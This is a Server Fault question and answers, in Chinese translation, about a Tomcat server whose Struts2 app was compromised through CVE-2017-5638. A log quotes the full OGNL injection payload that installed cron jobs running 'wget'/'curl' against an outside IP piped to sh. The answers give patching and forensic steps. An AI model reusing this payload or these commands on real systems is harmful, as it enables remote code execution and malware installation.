Linux

通過未知來源的 cron 對 Apache 伺服器進行 Shell 腳本攻擊

  • August 25, 2018

在 Apache tomcat 伺服器上執行項目戰時,我發現伺服器已被入侵。

雖然對未知的戰爭cron是這樣執行的

[root@App2 tmp]# crontab -l -u tomcat
*/11 * * * * wget -O - -q http://91.230.47.40/pics/logo.jpg|sh
*/12 * * * * curl http://91.230.47.40/pics/logo.jpg|sh

下載的logo.jpg有一個正在下載惡意軟體的 shell 腳本。

我在下面的這個網站上發現了一個類似的問題

https://xn--blgg-hra.no/2017/04/covert-channels-hiding-shell-scripts-in-png-files/

https://security.stackexchange.com/questions/160068/kworker34-malware-on-linux

我無法在我的整個程式碼中找到這個 cron 調度程序的來源。

我想知道有人遇到過這個問題嗎?以及我應該如何在程式碼中查找調度程序的來源。

筆記:

我正在開發一個 JAVA(Struts 2)+jsp+javascript+jquery Web 項目。

每次我使用項目的 war 文件啟動我的 tomcat 時,這個調度程序都會執行,但我無法在我的程式碼中找到任何調度程序的調度程序。

我在日誌文件中找到了以下行

[INFO] 2017-06-02 17:00:41,564 org.apache.struts2.dispatcher.Dispatcher info - Unable to find 'struts.multipart.saveDir' property setting. Defaulting to javax.servlet.context.tempdir
[DEBUG] 2017-06-02 17:00:41,565 org.apache.struts2.dispatcher.Dispatcher debug - saveDir=/opt/tomcat/work/Catalina/localhost/MyApplication
[WARN] 2017-06-02 17:00:41,572 org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest warn - Unable to parse request
org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn't contain a multipart/form-data or multipart/mixed stream, 
               content type header is %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
               (#_memberAccess?(#_memberAccess=#dm):
               ((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
               (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
               (#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
               (#context.setMemberAccess(#dm)))).
               (#cmd='echo "*/11 * * * * wget -O - -q http://91.230.47.40/pics/logo.jpg|sh\n*/12 * * * * curl http://91.230.47.40/pics/logo.jpg|sh" | crontab -').
               (#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
               (#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
               (#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).
               (#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
               (@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
   at org.apache.commons.fileupload.FileUploadBase$FileItemIteratorImpl.<init>(FileUploadBase.java:908)
   at org.apache.commons.fileupload.FileUploadBase.getItemIterator(FileUploadBase.java:331)
   at org.apache.commons.fileupload.FileUploadBase.parseRequest(FileUploadBase.java:351)
   at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parseRequest(JakartaMultiPartRequest.java:189)
   at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processUpload(JakartaMultiPartRequest.java:127)
   at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parse(JakartaMultiPartRequest.java:92)
   at org.apache.struts2.dispatcher.multipart.MultiPartRequestWrapper.<init>(MultiPartRequestWrapper.java:81)
   at org.apache.struts2.dispatcher.Dispatcher.wrapRequest(Dispatcher.java:779)
   at org.apache.struts2.dispatcher.ng.PrepareOperations.wrapRequest(PrepareOperations.java:134)
   at org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter.doFilter(StrutsPrepareAndExecuteFilter.java:83)
   at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
   at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
   at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:198)
   at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:96)
   at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:478)
   at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:140)
   at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:80)
   at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:624)
   at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:87)
   at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:342)
   at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:799)
   at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66)
   at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:861)
   at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1455)
   at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
   at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
   at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
   at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
   at java.lang.Thread.run(Thread.java:745)
[DEBUG] 2017-06-02 17:00:41,574 org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest debug - Preparing error message for key: [struts.messages.upload.error.InvalidContentTypeException]
[DEBUG] 2017-06-02 17:00:41,587 com.opensymphony.xwork2.conversion.impl.InstantiatingNullHandler debug - Entering nullPropertyValue [target=[com.opensymphony.xwork2.DefaultTextProvider@6e817b9a], property=struts]
[DEBUG] 2017-06-02 17:00:41,625 com.opensymphony.xwork2.conversion.impl.InstantiatingNullHandler debug - Entering nullMethodResult 

在 OP 添加日誌後,很明顯,該問題出在 Struts 2 的遠端程式碼執行漏洞 ( CVE-2017-5638 ) 中。

一些額外的連結:

  1. 新的 Struts2 遠端程式碼執行漏洞被廣泛使用
  2. CVE-2017-5638 - Apache Struts2 S2-045

解決方案是將您的 Struts 升級到 2.3.32 或 2.5.10.1 版本。

在我擔任系統管理員之前,我也遇到過類似的問題。我認為你必須區分它是你的tomcat伺服器還是你的Java應用程序。

當您在沒有“受感染的 Java 應用程序”的情況下啟動 tomcat 時,是否啟用了 cron?*(我的意思是,從 Tomcat 中刪除您的應用程序並啟動它)*如果是這樣,那麼您有一個更大的問題,您需要驗證啟動腳本和部署在 tomcat 伺服器中的每個應用程序。

否則,我們確定您的應用程序是問題所在。

如果是這種情況,請轉到:

$CATALINA_BASE/webapps/your_app 

驗證您的應用程序的完整性,是否存在您無法辨識的其他文件?

現在轉到您的 tomcat 安裝的 webapps 目錄:

$CATALINA_BASE/webapps/

在該目錄中執行:

grep -R '91.230.47.40' *

要查找導致感染的可能文件/程式碼行,它可能是您的應用程序的文件或新文件。

您的程式碼是否在 CSV 系統中?

從您的 CSV 儲存庫中建構受感染伺服器外部的 war 文件並執行以下操作:

md5sum your_app.war

從 tomcat 伺服器中刪除您的應用程序並重新部署,驗證您正在通過 md5 上傳正確的戰爭,然後檢查是否正在呼叫 crontab。

如果您提供有關此步驟的回饋,我將很樂意提供幫助。

引用自:https://serverfault.com/questions/855003